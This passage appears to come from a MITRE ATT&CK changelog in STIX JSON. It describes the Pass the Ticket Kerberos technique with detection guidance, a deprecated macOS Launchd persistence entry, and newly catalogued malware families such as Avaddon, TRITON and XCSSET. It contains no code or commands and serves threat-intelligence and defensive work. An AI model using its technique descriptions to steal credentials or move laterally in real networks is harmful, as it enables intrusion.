"type": "attack-pattern", "id": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-01-30 17:03:43.072000+00:00", "modified": "2021-08-31 19:56:31.341000+00:00", "name": "Pass the Ticket", "description": "Adversaries may \u201cpass the ticket\u201d using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nWhen preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)\n\nA [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)\n\nA [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)\n\nAdversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \"overpassing the hash\" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" }, { "kill_chain_name": "mitre-attack", "phase_name": "lateral-movement" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1550/003", "external_id": "T1550.003" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/645.html", "external_id": "CAPEC-645" }, { "source_name": "ADSecurity AD Kerberos Attacks", "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.", "url": "https://adsecurity.org/?p=556" }, { "source_name": "GentilKiwi Pass the Ticket", "description": "Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016.", "url": "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos" }, { "source_name": "Campbell 2014", "description": "Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December 4, 2014.", "url": "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf" }, { "source_name": "Stealthbits Overpass-the-Hash", "description": "Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021.", "url": "https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/" }, { "source_name": "CERT-EU Golden Ticket Protection", "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.", "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Vincent Le Toux", "Ryan Becwar" ], "x_mitre_data_sources": [ "User Account: User Account Authentication", "Logon Session: Logon Session Creation", "Active Directory: Active Directory Credential Request" ], "x_mitre_defense_bypassed": [ "System Access Controls" ], "x_mitre_detection": "Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU Golden Ticket Protection)", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "Windows" ], "x_mitre_system_requirements": [ "Kerberos authentication enabled" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-31 19:56:31.341000+00:00\", \"old_value\": \"2021-03-15 21:42:11.839000+00:00\"}}}", "previous_version": "1.1", "changelog_mitigations": { "shared": [ "M1015: Active Directory Configuration", "M1018: User Account Management", "M1026: Privileged Account Management", "M1027: Password Policies" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0002: User Account (User Account Authentication)", "DS0026: Active Directory (Active Directory Credential Request)", "DS0028: Logon Session (Logon Session Creation)" ], "dropped": [] } } ], "revocations": [], "deprecations": [ { "type": "attack-pattern", "id": "attack-pattern--8faedf87-dceb-4c35-b2a2-7286f59a3bc3", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2019-12-03 14:15:27.452000+00:00", "modified": "2021-10-07 21:38:03.610000+00:00", "name": "Launchd", "description": "This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself. \n\nAdversaries may abuse the Launchd daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n\nAn adversary may use the launchd daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "execution" }, { "kill_chain_name": "mitre-attack", "phase_name": "persistence" }, { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1053/004", "external_id": "T1053.004" }, { "source_name": "AppleDocs Launch Agent Daemons", "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.", "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html" }, { "source_name": "Methods of Mac Malware Persistence", "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Scheduled Job: Scheduled Job Creation", "Command: Command Execution", "File: File Modification", "Process: Process Creation" ], "x_mitre_deprecated": true, "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "root" ], "x_mitre_platforms": [ "macOS" ], "x_mitre_remote_support": false, "x_mitre_version": "1.0", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_deprecated']\": true}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-07 21:38:03.610000+00:00\", \"old_value\": \"2020-03-23 22:41:14.739000+00:00\"}, \"root['description']\": {\"new_value\": \"This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself. \\n\\nAdversaries may abuse the Launchd daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\\n\\nAn adversary may use the launchd daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in.\", \"old_value\": \"Adversaries may abuse the Launchd daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\\n\\nAn adversary may use the launchd daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,5 @@\\n+This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself. \\n+\\n Adversaries may abuse the Launchd daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\\n \\n An adversary may use the launchd daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in.\"}}}" } ], "deletions": [] }, "software": { "additions": [ { "type": "malware", "id": "malware--295721d2-ee20-4fa3-ade3-37f4146b4570", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-06-10 14:53:49.448000+00:00", "modified": "2021-10-14 23:17:58.410000+00:00", "name": "AppleSeed", "description": "[AppleSeed](https://attack.mitre.org/software/S0622) is a backdoor that has been used by [Kimsuky](https://attack.mitre.org/groups/G0094) to target South Korean government, academic, and commercial targets since at least 2021.(Citation: Malwarebytes Kimsuky June 2021)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0622", "external_id": "S0622" }, { "source_name": "Malwarebytes Kimsuky June 2021", "description": "Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021.", "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_aliases": [ "AppleSeed" ], "x_mitre_platforms": [ "Windows", "Android" ], "x_mitre_version": "1.0" }, { "type": "malware", "id": "malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-08-23 19:38:33.073000+00:00", "modified": "2021-10-18 21:41:22.437000+00:00", "name": "Avaddon", "description": "[Avaddon](https://attack.mitre.org/software/S0640) is ransomware written in C++ that has been offered as Ransomware-as-a-Service (RaaS) since at least June 2020.(Citation: Awake Security Avaddon)(Citation: Arxiv Avaddon Feb 2021)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0640", "external_id": "S0640" }, { "source_name": "Awake Security Avaddon", "description": "Gahlot, A. (n.d.). Threat Hunting for Avaddon Ransomware. Retrieved August 19, 2021.", "url": "https://awakesecurity.com/blog/threat-hunting-for-avaddon-ransomware/" }, { "source_name": "Arxiv Avaddon Feb 2021", "description": "Yuste, J. Pastrana, S. (2021, February 9). Avaddon ransomware: an in-depth analysis and decryption of infected systems. Retrieved August 19, 2021.", "url": "https://arxiv.org/pdf/2102.04796.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_aliases": [ "Avaddon" ], "x_mitre_contributors": [ "Matt Brenton, Zurich Global Information Security" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.0" }, { "type": "malware", "id": "malware--57d83eac-a2ea-42b0-a7b2-c80c55157790", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-08-26 18:49:41.155000+00:00", "modified": "2021-10-15 11:41:06.816000+00:00", "name": "BADFLICK", "description": "[BADFLICK](https://attack.mitre.org/software/S0642) is a backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065) in spearphishing campaigns first reported in 2018 that targeted the U.S. engineering and maritime industries.(Citation: FireEye Periscope March 2018)(Citation: Accenture MUDCARP March 2019)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0642", "external_id": "S0642" }, { "source_name": "FireEye Periscope March 2018", "description": "FireEye. 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(2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021.", "url": "https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_aliases": [ "BLUELIGHT" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.0" }, { "type": "malware", "id": "malware--61c7a91a-0b83-461d-ad32-75d96eed4a09", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-08-11 17:36:46.197000+00:00", "modified": "2021-10-13 14:29:38.795000+00:00", "name": "Babuk", "description": "[Babuk](https://attack.mitre.org/software/S0638) is a Ransomware-as-a-service (RaaS) malware that has been used since at least 2021. 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Handy guide to a new Fivehands ransomware variant. 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(2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. 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[HELLOKITTY](https://attack.mitre.org/software/S0617) has been used since at least 2020, targets have included a Polish video game developer and a Brazilian electric power company.(Citation: FireEye FiveHands April 2021)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0617", "external_id": "S0617" }, { "source_name": "FireEye FiveHands April 2021", "description": "McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. 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(2017, June 12). Win32/Industroyer: A new threat for industrial controls systems. Retrieved December 18, 2020.", "url": "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf " }, { "source_name": "Dragos Crashoverride 2017", "description": "Dragos Inc.. (2017, June 13). CRASHOVERRIDE Analysis of the Threat to Electric Grid Operations. Retrieved December 18, 2020.", "url": "https://dragos.com/blog/crashoverride/CrashOverride-01.pdf " }, { "source_name": "Dragos Crashoverride 2018", "description": "Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. 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(2021, July 21). Notorious Cybercrime Gang, FIN7, Lands Malware in Law Firm Using Fake Legal Complaint Against Jack Daniels\u2019 Owner, Brown-Forman Inc.. Retrieved September 20, 2021.", "url": "https://www.esentire.com/security-advisories/notorious-cybercrime-gang-fin7-lands-malware-in-law-firm-using-fake-legal-complaint-against-jack-daniels-owner-brown-forman-inc" }, { "source_name": "CrowdStrike Carbon Spider August 2021", "description": "Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. 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[KillDisk](https://attack.mitre.org/software/S0607) has since evolved into stand-alone malware used by a variety of threat actors against additional targets in Europe and Latin America; in 2016 a ransomware component was also incorporated into some [KillDisk](https://attack.mitre.org/software/S0607) variants.(Citation: KillDisk Ransomware)(Citation: ESEST Black Energy Jan 2016)(Citation: Trend Micro KillDisk 1)(Citation: Trend Micro KillDisk 2)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0607", "external_id": "S0607" }, { "source_name": "KillDisk Ransomware", "description": "Catalin Cimpanu. (2016, December 29). KillDisk Disk-Wiping Malware Adds Ransomware Component. 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KillDisk Variant Hits Latin American Financial Groups. Retrieved January 12, 2021.", "url": "https://www.trendmicro.com/en_us/research/18/a/new-killdisk-variant-hits-financial-organizations-in-latin-america.html" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_aliases": [ "KillDisk", "Win32/KillDisk.NBI", "Win32/KillDisk.NBH", "Win32/KillDisk.NBD", "Win32/KillDisk.NBC", "Win32/KillDisk.NBB" ], "x_mitre_platforms": [ "Linux", "Windows" ], "x_mitre_version": "1.0" }, { "type": "malware", "id": "malware--9abdda30-08e0-4ab1-9cf0-d447654c6de9", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-08-24 18:56:35.507000+00:00", "modified": "2021-10-19 00:09:52.008000+00:00", "name": "Kobalos", "description": "[Kobalos](https://attack.mitre.org/software/S0641) is a multi-platform backdoor that can be used against Linux, FreeBSD, and Solaris. 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[LiteDuke](https://attack.mitre.org/software/S0513) used the same dropper as [PolyglotDuke](https://attack.mitre.org/software/S0518), and was found on machines also compromised by [MiniDuke](https://attack.mitre.org/software/S0051).(Citation: ESET Dukes October 2019)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0513", "external_id": "S0513" }, { "source_name": "ESET Dukes October 2019", "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. 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(2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. 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(2021, April 23). NAIKON \u2013 Traces from a Military Cyber-Espionage Operation. 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(2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021.", "url": "https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html" }, { "source_name": "Talos Transparent Tribe May 2021", "description": "Malhotra, A. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal. 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Retrieved December 7, 2020.", "url": "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf " }, { "source_name": "CISA ICS Advisory ICSA-10-272-01", "description": "CISA. (2010, September 10). ICS Advisory (ICSA-10-272-01). Retrieved December 7, 2020.", "url": "https://us-cert.cisa.gov/ics/advisories/ICSA-10-272-01" }, { "source_name": "ESET Stuxnet Under the Microscope", "description": "Matrosov, A., Rodionov, E., Harley, D., Malcho, J.. (n.d.). Stuxnet Under the Microscope. Retrieved December 7, 2020.", "url": "https://www.esetnod32.ru/company/viruslab/analytics/doc/Stuxnet_Under_the_Microscope.pdf" }, { "source_name": "Langer Stuxnet", "description": "Ralph Langner. (2013, November). Ralph Langner. (2013, November). To Kill a Centrifuge: A Technical Analysis of What Stuxnet's Creators Tried to Achieve. Retrieved December 7, 2020.", "url": "https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_aliases": [ "Stuxnet", "W32.Stuxnet" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.0" }, { "type": "malware", "id": "malware--93ae2edf-a598-4d2d-acd7-bcae0c021923", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-01-11 21:27:41.573000+00:00", "modified": "2021-05-04 19:10:43.045000+00:00", "name": "TRITON", "description": "[TRITON](https://attack.mitre.org/software/S0609) is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. [TRITON](https://attack.mitre.org/software/S0609) was deployed against at least one target in the Middle East. (Citation: FireEye TRITON 2017)(Citation: FireEye TRITON 2018)(Citation: Dragos TRISIS)(Citation: CISA HatMan)(Citation: FireEye TEMP.Veles 2018)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0609", "external_id": "S0609" }, { "source_name": "FireEye TRITON 2017", "description": "Johnson, B, et. al. (2017, December 14). Attackers Deploy New ICS Attack Framework \"TRITON\" and Cause Operational Disruption to Critical Infrastructure. Retrieved January 6, 2021.", "url": "https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html" }, { "source_name": "FireEye TRITON 2018", "description": "Miller, S. Reese, E. (2018, June 7). A Totally Tubular Treatise on TRITON and TriStation. Retrieved January 6, 2021.", "url": "https://www.fireeye.com/blog/threat-research/2018/06/totally-tubular-treatise-on-TRITON-and-tristation.html" }, { "source_name": "Dragos TRISIS", "description": "Dragos. (2017, December 13). TRISIS Malware Analysis of Safety System Targeted Malware. Retrieved January 6, 2021.", "url": "https://www.dragos.com/wp-content/uploads/TRISIS-01.pdf" }, { "source_name": "CISA HatMan", "description": "CISA. (2019, February 27). MAR-17-352-01 HatMan-Safety System Targeted Malware. Retrieved January 6, 2021.", "url": "https://us-cert.cisa.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20B%29.pdf" }, { "source_name": "FireEye TEMP.Veles 2018", "description": "FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html " } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_aliases": [ "TRITON", "HatMan", "TRISIS" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.0" }, { "type": "malware", "id": "malware--350f12cf-fd3b-4dad-b323-14b943090df4", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-09-21 15:21:31.795000+00:00", "modified": "2021-10-18 13:19:48.020000+00:00", "name": "Turian", "description": "[Turian](https://attack.mitre.org/software/S0647) is a backdoor that has been used by [BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) to target Ministries of Foreign Affairs, telecommunication companies, and charities in Africa, Europe, the Middle East, and Asia. First reported in 2021, [Turian](https://attack.mitre.org/software/S0647) is likely related to Quarian, an older backdoor that was last observed being used in 2013 against diplomatic targets in Syria and the United States.(Citation: ESET BackdoorDiplomacy Jun 2021)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0647", "external_id": "S0647" }, { "source_name": "ESET BackdoorDiplomacy Jun 2021", "description": "Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. 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(2021, May 28). Breaking down NOBELIUM\u2019s latest early-stage toolset. Retrieved August 4, 2021.", "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_aliases": [ "VaporRage" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.0" }, { "type": "malware", "id": "malware--46cbafbc-8907-42d3-9002-5327c26f8927", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-05-20 17:44:26.582000+00:00", "modified": "2021-09-27 17:36:37.593000+00:00", "name": "WastedLocker", "description": "[WastedLocker](https://attack.mitre.org/software/S0612) is a ransomware family attributed to [Indrik Spider](https://attack.mitre.org/groups/G0119) that has been used since at least May 2020. [WastedLocker](https://attack.mitre.org/software/S0612) has been used against a broad variety of sectors, including manufacturing, information technology, and media.(Citation: Symantec WastedLocker June 2020)(Citation: NCC Group WastedLocker June 2020)(Citation: Sentinel Labs WastedLocker July 2020) ", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0612", "external_id": "S0612" }, { "source_name": "WastedLocker", "description": "(Citation: Symantec WastedLocker June 2020)(Citation: NCC Group WastedLocker June 2020) " }, { "source_name": "Symantec WastedLocker June 2020", "description": "Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021.", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us" }, { "source_name": "NCC Group WastedLocker June 2020", "description": "Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021.", "url": "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/" }, { "source_name": "Sentinel Labs WastedLocker July 2020", "description": "Walter, J.. (2020, July 23). WastedLocker Ransomware: Abusing ADS and NTFS File Attributes. Retrieved September 14, 2021.", "url": "https://www.sentinelone.com/labs/wastedlocker-ransomware-abusing-ads-and-ntfs-file-attributes/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_aliases": [ "WastedLocker" ], "x_mitre_contributors": [ "Daniyal Naeem, BT Security" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.0" }, { "type": "tool", "id": "tool--f91162cc-1686-4ff8-8115-bf3f61a4cc7a", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-09-14 21:45:30.280000+00:00", "modified": "2021-09-21 18:03:13.205000+00:00", "name": "Wevtutil", "description": "[Wevtutil](https://attack.mitre.org/software/S0645) is a Windows command-line utility that enables administrators to retrieve information about event logs and publishers.(Citation: Wevtutil Microsoft Documentation)", "revoked": false, "labels": [ "tool" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0645", "external_id": "S0645" }, { "source_name": "Wevtutil Microsoft Documentation", "description": "Microsoft. (n.d.). wevtutil. Retrieved September 14, 2021.", "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_aliases": [ "Wevtutil" ], "x_mitre_contributors": [ "Viren Chaudhari, Qualys", "Harshal Tupsamudre, Qualys" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.0" }, { "type": "malware", "id": "malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-10-05 21:58:51.161000+00:00", "modified": "2021-10-19 00:43:30.036000+00:00", "name": "XCSSET", "description": "[XCSSET](https://attack.mitre.org/software/S0658) is a macOS modular backdoor that targets Xcode application developers. [XCSSET](https://attack.mitre.org/software/S0658) was first observed in August 2020 and has been used to install a backdoor component, modify browser applications, conduct collection, and provide ransomware-like encryption capabilities.(Citation: trendmicro xcsset xcode project 2020)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0658", "external_id": "S0658" }, { "source_name": "XCSSET", "description": "(Citation: trendmicro xcsset xcode project 2020)" }, { "source_name": "OSX.DubRobber", "description": "(Citation: malwarebyteslabs xcsset dubrobber)" }, { "source_name": "trendmicro xcsset xcode project 2020", "description": "Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021.", "url": "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf" }, { "source_name": "malwarebyteslabs xcsset dubrobber", "description": "Thomas Reed. (2020, April 21). OSX.DubRobber. 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[xCaon](https://attack.mitre.org/software/S0653) has been used to target political entities in Central Asia, including Kyrgyzstan and Uzbekistan.(Citation: Checkpoint IndigoZebra July 2021)(Citation: Securelist APT Trends Q2 2017)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0653", "external_id": "S0653" }, { "source_name": "xCaon", "description": "(Citation: Checkpoint IndigoZebra July 2021)" }, { "source_name": "Checkpoint IndigoZebra July 2021", "description": "CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021.", "url": "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/" }, { "source_name": "Securelist APT Trends Q2 2017", "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 8). APT Trends report Q2 2017. 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It has been used against government, financial, energy, healthcare, education, IT, and legal organizations in the US, South America, Europe, and Southeast Asia. [Bandook](https://attack.mitre.org/software/S0234) has been used by [Dark Caracal](https://attack.mitre.org/groups/G0070), as well as in a separate campaign referred to as \"Operation Manul\".(Citation: EFF Manul Aug 2016)(Citation: Lookout Dark Caracal Jan 2018)(Citation: CheckPoint Bandook Nov 2020)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": 